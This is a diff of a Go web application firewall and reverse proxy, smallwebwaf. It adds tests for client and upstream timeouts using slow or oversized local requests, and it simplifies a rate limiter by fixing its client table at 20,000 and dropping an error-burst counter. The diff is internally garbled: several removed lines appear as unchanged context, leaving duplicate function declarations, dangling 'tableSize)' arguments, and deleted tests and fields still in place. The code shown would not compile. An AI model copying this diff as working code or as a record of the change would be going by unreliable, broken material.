 		rateLimitExemptNets: listedAddr + "," + fromKP,
 		deniedCountries:     "kp",
 		rateLimitPerMinute:  "1",
@@ -157,9 +169,9 @@ type sentRequest struct {
 	action string
 }
-// wantAnswers sends requests to sww at addr one after another and
+// wantAnswers sends requests to smallwebwaf at addr one after another and
 // checks each one's answer and log line. They must be the first requests
-// sww is sent, since the log lines are matched to them in order.
+// smallwebwaf is sent, since the log lines are matched to them in order.
 func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) {
 	t.Helper()
@@ -167,6 +179,6 @@ func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest)
 		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 		req.Header.Set(forwardedFor, sent.client)
 		wantStatus(t, do(t, req), sent.status)
-		wantLine(t, out.endedLines(t, i+1)[i], sent.status, sent.action)
+		wantLine(t, out.requestLines(t, i+1)[i], sent.status, sent.action)
 	}
 }
@@ -0,0 +1,307 @@
 package proxy_test
 import (
 	"errors"
 	"io"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"strconv"
 	"sync"
 	"sync/atomic"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // largeBodySize is more than the connections between the client,
 // smallwebwaf and the app can hold while nobody reads, so that a sender
 // soon waits.
 const largeBodySize = 64 << 20
 // writeSize is how much a test sender writes at a time.
 const writeSize = 32 << 10
 func TestRequestTimeouts(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		// limit is the setting set to shortTimeout, which runs out; long
 		// is one set to longTimeoutSetting, which does not, or "".
 		limit, long string
 		// appTakesNothing has the app never read, while the client sends
 		// as fast as it can; otherwise the app reads, and the client
 		// stops sending halfway.
 		appTakesNothing bool
 		want            int
 	}{
 		{
 			name:  "client request timeout, waiting on the client",
 			limit: clientRequestTimeout,
 			want:  http.StatusRequestTimeout,
 		},
 		{
 			name:  "upstream request timeout, waiting on the client",
 			limit: upstreamRequestTimeout,
 			long:  clientRequestTimeout,
 			want:  http.StatusRequestTimeout,
 		},
 		{
 			name:            "upstream request timeout, waiting on the app",
 			limit:           upstreamRequestTimeout,
 			appTakesNothing: true,
 			want:            http.StatusGatewayTimeout,
 		},
 		{
 			name:            "client request timeout, waiting on the app",
 			limit:           clientRequestTimeout,
 			long:            upstreamRequestTimeout,
 			appTakesNothing: true,
 			want:            http.StatusGatewayTimeout,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			var (
 				app         *httptest.Server
 				appURL      string
 				sendRequest func(*testing.T, string) net.Conn
 				appGotBody  atomic.Bool
 			)
 			if tc.appTakesNothing {
 				appURL, sendRequest = startAppThatTakesNothing(t), sendLargeBody
 			} else {
 				app = startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 					n, _ := io.Copy(io.Discard, r.Body)
 					appGotBody.Store(n > 0)
 				})
 				appURL, sendRequest = app.URL, sendPartOfBody
 			}
 			env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token}
 			if tc.long != "" {
 				env[tc.long] = longTimeoutSetting
 			}
 			addr, out := startProxy(t, appURL, env)
 			start := time.Now()
 			got := readResponse(t, sendRequest(t, addr))
 			wantTimedOut(t, start)
 			want := tc.want
 			if app != nil {
 				// Close returns once the app has finished with the request.
 				app.Close()
 				// Until some of the body has reached the app, smallwebwaf
 				// waits on the app, and SPEC.md asks for 504; the timeout
 				// runs out then only if the test process is held up.
 				if !appGotBody.Load() {
 					want = http.StatusGatewayTimeout
 				}
 			}
 			wantStatus(t, got, want)
 			wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut)
 			wantLimitHits(t, addr, tc.limit, 1)
 		})
 	}
 }
 // startAppThatTakesNothing starts an app that accepts connections and
 // never reads from them, and returns its URL.
 func startAppThatTakesNothing(t *testing.T) string {
 	t.Helper()
 	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
 	var (
 		mu   sync.Mutex
 		held []net.Conn
 	)
 	hold := func(conn net.Conn) {
 		mu.Lock()
 		defer mu.Unlock()
 		held = append(held, conn)
 	}
 	go func() {
 		for {
 			conn, err := listener.Accept()
 			if err != nil {
 				return
 			}
 			hold(conn)
 		}
 	}()
 	t.Cleanup(func() {
 		_ = listener.Close()
 		mu.Lock()
 		defer mu.Unlock()
 		for _, conn := range held {
 			_ = conn.Close()
 		}
 	})
 	return "http://" + listener.Addr().String()
 }
 // sendPartOfBody sends a request that announces a large body, and only
 // the first bytes of it.
 func sendPartOfBody(t *testing.T, addr string) net.Conn {
 	t.Helper()
 	conn := dial(t, addr)
 	send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+
 		strconv.Itoa(largeBodySize)+"\r\n\r\nthe first bytes")
 	return conn
 }
 // sendLargeBody sends a request with a large body, as fast as smallwebwaf
 // takes it, from a goroutine of its own.
 func sendLargeBody(t *testing.T, addr string) net.Conn {
 	t.Helper()
 	conn := dial(t, addr)
 	send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+
 		strconv.Itoa(largeBodySize)+"\r\n\r\n")
 	go func() {
 		chunk := make([]byte, writeSize)
 		for range largeBodySize / writeSize {
 			_, err := conn.Write(chunk)
 			if err != nil {
 				return
 			}
 		}
 	}()
 	return conn
 }
 func TestAppTooSlowToAnswer(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 		<-r.Context().Done()
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{
 		upstreamResponseTimeout: shortTimeoutSetting,
 		metricsToken:            token,
 	})
 	start := time.Now()
 	wantStatus(t, get(t, addr, "/slow"), http.StatusGatewayTimeout)
 	wantTimedOut(t, start)
 	line := out.requestLine(t)
 	wantLine(t, line, http.StatusGatewayTimeout, requestlog.ActionTimedOut)
 	_, answered := line.fields["upstream_status"]
 	if answered {
 		t.Errorf("log line has upstream_status %v for an app that never answered",
 			line.fields["upstream_status"])
 	}
 	wantLimitHits(t, addr, upstreamResponseTimeout, 1)
 }
 func TestAppTooSlowToFinishItsAnswer(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_, _ = io.WriteString(w, "the first part")
 		_ = http.NewResponseController(w).Flush()
 		<-r.Context().Done()
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{
 		upstreamResponseTimeout: shortTimeoutSetting,
 	})
 	start := time.Now()
 	got := get(t, addr, "/slow")
 	wantStatus(t, got, http.StatusOK)
 	if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) {
 		t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err)
 	}
 	wantTimedOut(t, start)
 	line := out.requestLine(t)
 	wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut)
 	if line.UpstreamStatus != http.StatusOK {
 		t.Errorf("log line has upstream_status %d, want %d",
 			line.UpstreamStatus, http.StatusOK)
 	}
 }
 func TestClientTooSlowToTakeTheAnswer(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		chunk := make([]byte, writeSize)
 		for range largeBodySize / writeSize {
 			_, err := w.Write(chunk)
 			if err != nil {
 				return
 			}
 		}
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{
 		clientResponseTimeout: shortTimeoutSetting,
 		metricsToken:          token,
 	})
 	start := time.Now()
 	// The client asks, and never reads the answer.
 	conn := dial(t, addr)
 	send(t, conn, "GET /large HTTP/1.1\r\nHost: app\r\n\r\n")
 	line := out.requestLine(t)
 	wantTimedOut(t, start)
 	wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut)
 	wantLimitHits(t, addr, clientResponseTimeout, 1)
 }
 func TestClosesAnIdleConnection(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	addr, _ := startProxy(t, app.URL, map[string]string{
 		clientIdleTimeout: shortTimeoutSetting,
 	})
 	// The idle time starts once the answer is sent, so after start.
 	start := time.Now()
 	conn := dial(t, addr)
 	send(t, conn, "GET / HTTP/1.1\r\nHost: app\r\n\r\n")
 	wantStatus(t, readResponse(t, conn), http.StatusOK)
 	// The read deadline readResponse set still bounds this read.
 	_, err := conn.Read(make([]byte, 1))
 	if !errors.Is(err, io.EOF) {
 		t.Fatalf("read on the idle connection: %v, want it closed", err)
 	}
 	wantTimedOut(t, start)
 }
@@ -11,7 +11,7 @@ import (
 func TestHistoryKeepsEveryRequest(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -23,8 +23,8 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 		{Forwarded: true, Status: 502, ResponseBytes: 12},
 		// Closed without an answer: refused, and no response.
 		{Refused: true, Status: 0},
-		// Answered 404 for a path under /_sww/: neither forwarded nor
+		// Answered 404 at smallwebwaf's own endpoints: neither forwarded
-		// refused.
+		// nor refused.
 		{Status: 404},
 	} {
 		limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
@@ -53,7 +53,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	other := netip.MustParsePrefix("198.51.100.7/32")
 	start := midnight()
@@ -90,7 +90,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
 func TestResetKeepsTheHistory(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -109,7 +109,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
 func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	for client, requests := range map[string]int{
 		"198.51.100.9/32":  2,
@@ -2,9 +2,8 @@
 // and bytes counted over a minute, an hour and a day, as the "Counting
 // method" section of SPEC.md describes, which tell when a request takes
 // the client over a rate limit or a byte limit, and each client's history
-// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
+// since it was first seen. At most 20,000 clients are kept, in memory, and
-// kept, in memory, and written to clients.json and read from it by the
+// written to clients.json and read from it by the state package.
 // state package.
 package ratelimit
 import (
@@ -17,6 +16,11 @@ import (
 	"github.com/hashicorp/golang-lru/v2/simplelru"
 )
 // maxClients is how many clients are kept. Past it, the least recently
 // seen client is dropped, with its history, and starts afresh if it comes
 // back.
 const maxClients = 20000
 const day = 24 * time.Hour
 // The kinds of limits, as the metrics name them.
@@ -25,9 +29,6 @@ const (
 	KindRequests = "requests"
 	// KindBytes is a byte limit, on a client's bytes.
 	KindBytes = "bytes"
 	// KindRefusals is the error burst, on a client's requests sww
 	// refused after a rule file match or for a missing or wrong token.
 	KindRefusals = "refusals"
 )
 // Limits are the most requests a client may make in a minute, an hour and
@@ -53,8 +54,7 @@ type Limiter struct {
 }
 // Client is a client in the table, as clients.json holds it: its buckets
-// of requests and of bytes in each window, its buckets of refusals in the
+// of requests and of bytes in each window, and its history.
 // minute, which the error burst counts, and its history.
 //
 //nolint:tagliatelle // the state files use snake_case, as the request log does
 type Client struct {
@@ -65,7 +65,6 @@ type Client struct {
 	MinuteBytes Buckets      `json:"minute_bytes"`
 	HourBytes   Buckets      `json:"hour_bytes"`
 	DayBytes    Buckets      `json:"day_bytes"`
 	MinuteRefusals Buckets      `json:"minute_refusals"`
 	History     History      `json:"history"`
 }
@@ -92,9 +91,10 @@ type History struct {
 	ASName   string    `json:"as_name,omitempty"`
 	Country  string    `json:"country,omitempty"`
 	LookedUp time.Time `json:"looked_up,omitzero"`
-	// Requests are all the client's requests: Forwarded those discriminator allowed,
+	// Requests are all the client's requests: Forwarded those passed to
-	// Refused those it refused, and neither those for a path under
+	// the app, Refused those refused before anything reached it, a 401 at
-	// /_sww/.
+	// smallwebwaf's own endpoints included, and neither the others
 	// smallwebwaf answered there.
 	Requests  int64 `json:"requests"`
 	Forwarded int64 `json:"forwarded"`
 	Refused   int64 `json:"refused"`
@@ -117,26 +117,17 @@ type Responses struct {
 }
 // Offences are a client's offences, by kind.
 //
 //nolint:tagliatelle // the state files use snake_case, as the request log does
 type Offences struct {
-	// Limit is its requests that broke a rate limit, a byte limit or the
+	// Limit is its requests that broke a rate limit or a byte limit.
 	// error burst, Attack those that were a clear sign of attack, a match
 	// of a ban rule or a request for a trap path, RuleBlocked those a block
 	// rule refused, and WAFBlocked those the Core Rule Set refused.
 	Limit int64 `json:"limit"`
 	Attack      int64 `json:"attack"`
 	RuleBlocked int64 `json:"rule_blocked"`
 	WAFBlocked  int64 `json:"waf_blocked"`
 	// TokenRefused is what a clients.json written by an earlier version gives,
 	// which must still load. Nothing adds to it.
 	TokenRefused int64 `json:"token_refused,omitempty"`
 }
 // Request is what a client's history keeps of one of its requests.
 type Request struct {
-	// Forwarded is true for a request discriminator allowed, and Refused for one it
+	// Forwarded is true for a request passed to the app, Refused for one
-	// refused. Both are false for a request for a path under /_sww/.
+	// refused before anything reached it, a 401 at smallwebwaf's own
 	// endpoints included. Both are false for any other request smallwebwaf
 	// answered there.
 	Forwarded bool
 	Refused   bool
 	// Status is what the client was sent, 0 if nothing was.
@@ -145,21 +136,13 @@ type Request struct {
 	// and of its response.
 	RequestBytes  int64
 	ResponseBytes int64
-	// BrokeLimit is true for a request that broke a rate limit, a byte
+	// BrokeLimit is true for a request that broke a rate limit or a byte
-	// limit or the error burst, Attack for one that matched a ban rule or
+	// limit.
 	// asked for a trap path, RuleBlocked for one a block rule refused, and
 	// WAFBlocked for one the Core Rule Set refused.
 	BrokeLimit bool
 	Attack      bool
 	RuleBlocked bool
 	WAFBlocked  bool
 }
-// New returns a Limiter for limits, with no client counted yet, whose
+// New returns a Limiter for limits, with no client counted yet.
-// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
+func New(limits Limits) *Limiter {
 // it, the least recently seen client is dropped, with its history, and
 // starts afresh if it comes back.
 func New(limits Limits, maxClients int) *Limiter {
 	clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
@@ -184,25 +167,24 @@ func New(limits Limits, maxClients int) *Limiter {
 	}
 }
-// Hit is a request that takes a client over a rate limit or the error
+// Hit is a request that takes a client over a rate limit, or whose bytes
-// burst, or whose bytes take it over a byte limit.
+// take it over a byte limit.
 type Hit struct {
-	// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
+	// Kind is KindRequests for a rate limit, KindBytes for a byte limit.
 	// KindRefusals for the error burst.
 	Kind string
 	// Window is "minute", "hour" or "day".
 	Window string
 	// Limit is the window's limit, as the client's percentage of it.
 	Limit int64
-	// Count is the client's requests, bytes or refusals counted in the
+	// Count is the client's requests, or bytes, counted in the window,
-	// window, this request's included.
+	// this request's included.
 	Count float64
 }
 // Counts are a client's requests and bytes in the minute, the hour and
 // the day that end at a request, that request's included.
 //
-//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
+//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case
 type Counts struct {
 	Minute      float64 `json:"minute"`
 	Hour        float64 `json:"hour"`
@@ -224,30 +206,6 @@ func (l *Limiter) Count(
 	return l.count(client, now, 1, 0, percent)
 }
 // OverARateLimit reports whether one more request from client at now would
 // take it over a whole rate limit. A client's percentage can only lower a
 // limit, so that request is over the limit at any percentage. It counts
 // nothing, and does not make the client the most recently seen.
 func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	c, seen := l.clients.Peek(client)
 	if !seen {
 		return false
 	}
 	buckets := c.buckets()
 	for i, w := range l.windows {
 		if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
 			return true
 		}
 	}
 	return false
 }
 // CountBytes counts bytes, those of a request from client that has ended,
 // at now, in every window, and returns the client's counts in each window.
 // It reports whether the bytes take the client over a byte limit, of which
@@ -258,25 +216,8 @@ func (l *Limiter) CountBytes(
 	return l.count(client, now, 0, bytes, percent)
 }
-// CountRefusal counts a request from client at now that sww
+// Reset sets client's counts of requests and of bytes in every window
-// refused after a rule file or Core Rule Set match or for a missing or
+// back to zero. Its history keeps its totals.
 // wrong token, and reports whether the client's refusals in the minute
 // that ends at now, this one included, are more than threshold, which
 // breaks the error burst, and the hit.
 func (l *Limiter) CountRefusal(
 	client netip.Prefix, now time.Time, threshold int64,
 ) (Hit, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
 	hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
 	return hit, count > float64(threshold)
 }
 // Reset sets client's counts of requests, of bytes and of refusals in
 // every window back to zero. Its history keeps its totals.
 func (l *Limiter) Reset(client netip.Prefix) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
@@ -285,7 +226,6 @@ func (l *Limiter) Reset(client netip.Prefix) {
 	if seen {
 		c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
 		c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
 		c.MinuteRefusals = Buckets{}
 	}
 }
@@ -318,18 +258,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
 	if r.BrokeLimit {
 		h.Offences.Limit++
 	}
 	if r.Attack {
 		h.Offences.Attack++
 	}
 	if r.RuleBlocked {
 		h.Offences.RuleBlocked++
 	}
 	if r.WAFBlocked {
 		h.Offences.WAFBlocked++
 	}
 }
 // AddLookup gives client's history its AS number, AS name and country, as
@@ -439,10 +367,6 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
 			}
 		}
 		if c.MinuteRefusals.Passed(now, time.Minute) {
 			c.MinuteRefusals = Buckets{}
 		}
 		l.clients.Add(c.Client, &c)
 	}
 }
@@ -12,10 +12,6 @@ import (
 // limit is the limit the tests set.
 const limit = 3
 // tableSize is the most clients the tests' tables hold, the default of
 // SWW_MAX_TRACKED_CLIENTS.
 const tableSize = 20000
 // whole is the percentage of each limit a client gets when nothing lowers
 // its limits.
 const whole = 100
@@ -26,50 +22,6 @@ const (
 	hour   = "hour"
 )
 func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
 	t.Parallel()
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	now := midnight()
 	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
 		tableSize)
 	if limiter.OverARateLimit(client, now) {
 		t.Error("a client never seen is over a rate limit")
 	}
 	if limiter.Len() != 0 {
 		t.Error("asking about a client never seen added it to the table")
 	}
 	for range limit {
 		if limiter.OverARateLimit(client, now) {
 			t.Error("a client with room for another request is over a rate limit")
 		}
 		wantCount(t, limiter, client, now, "")
 	}
 	if !limiter.OverARateLimit(client, now) {
 		t.Error("a client at its limit is not over a rate limit")
 	}
 	held, _ := limiter.Client(client)
 	if held.Minute.Current != limit {
 		t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
 	}
 	wantCount(t, limiter, client, now, minute)
 	// A limit that is off is never gone over.
 	off := ratelimit.New(ratelimit.Limits{}, tableSize)
 	off.Count(client, now, whole)
 	if off.OverARateLimit(client, now) {
 		t.Error("a client is over a rate limit that is off")
 	}
 }
 func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 	t.Parallel()
@@ -85,7 +37,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 		t.Run(tc.window, func(t *testing.T) {
 			t.Parallel()
-			limiter := ratelimit.New(tc.limits, tableSize)
+			limiter := ratelimit.New(tc.limits)
 			client := netip.MustParsePrefix("203.0.113.9/32")
 			start := midnight()
 			quarter := tc.length / 4
@@ -110,7 +62,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -136,8 +88,7 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64})
 		tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -168,8 +119,7 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	t.Parallel()
 	// Only the hour has limits: the minute's and the day's are off.
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000})
 		tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -206,7 +156,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 		t.Run(tc.window, func(t *testing.T) {
 			t.Parallel()
-			limiter := ratelimit.New(tc.limits, tableSize)
+			limiter := ratelimit.New(tc.limits)
 			client := netip.MustParsePrefix("203.0.113.9/32")
 			// 600 bytes are within the limit, 600 more over it.
@@ -230,8 +180,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000})
 		tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	other := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -255,7 +204,7 @@ func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
 func TestCountGivesTheBytesInEachWindow(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -281,7 +230,7 @@ func TestCountGivesTheBytesInEachWindow(t *testing.T) {
 func TestResetSetsTheBytesBackToZero(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -292,50 +241,10 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
 	wantBytesCount(t, limiter, client, start, 1000, "")
 }
 func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	t.Parallel()
 	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 	for range limit {
 		if _, over := limiter.CountRefusal(client, start, limit); over {
 			t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
 		}
 	}
 	hit, over := limiter.CountRefusal(client, start, limit)
 	want := ratelimit.Hit{
 		Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
 		t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
 			want)
 	}
 	// Half a minute into the next, half of those four still count, 2, and
 	// this one: 3, within the threshold.
 	hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
 	if over || hit.Count != 3 {
 		t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
 			hit.Count, over)
 	}
 	// A ban sets them back to zero.
 	limiter.Reset(client)
 	hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
 	if hit.Count != 1 {
 		t.Errorf("after a reset, %v refusals, want 1", hit.Count)
 	}
 }
 func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -358,7 +267,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 func TestResetSetsTheCountsBackToZero(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -380,7 +289,7 @@ func TestResetSetsTheCountsBackToZero(t *testing.T) {
 func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -399,8 +308,7 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 func TestRefusedRequestsCount(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit})
 		tableSize)
 	refused := netip.MustParsePrefix("203.0.113.9/32")
 	within := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -433,7 +341,7 @@ func TestRefusedRequestsCount(t *testing.T) {
 func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -449,7 +357,7 @@ func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
 func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
 	t.Parallel()
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
@@ -472,12 +380,12 @@ func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
 	wantCount(t, limiter, client, setBack, hour)
 }
-func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
+func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	t.Parallel()
-	const maxClients = 3
+	const maxClients = 20000
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients)
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1})
 	now := midnight()
 	clients := make([]netip.Prefix, maxClients+1)
@@ -499,11 +407,6 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	// One client more drops the least recently seen, the second, which
 	// starts afresh, while the first is kept.
 	wantCount(t, limiter, clients[maxClients], now, "")
 	if limiter.Len() != maxClients {
 		t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
 	}
 	wantCount(t, limiter, clients[1], now, "")
 	wantCount(t, limiter, clients[0], now, minute)
 }
@@ -14,7 +14,7 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 	want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	for _, i := range []int{2, 3, 0, 1} {
 		limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
 	}
@@ -43,7 +43,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
-	before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	before := ratelimit.New(ratelimit.Limits{PerHour: limit})
 	for range limit {
 		wantCount(t, before, client, start, "")
 	}
@@ -51,7 +51,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
 	// Loaded into a new limiter, as across a restart, the client has no
 	// fresh allowance.
 	later := start.Add(time.Minute)
-	after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	after := ratelimit.New(ratelimit.Limits{PerHour: limit})
 	after.Load(before.Snapshot(), later)
 	wantCount(t, after, client, later, hour)
 }
@@ -62,24 +62,23 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
-	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
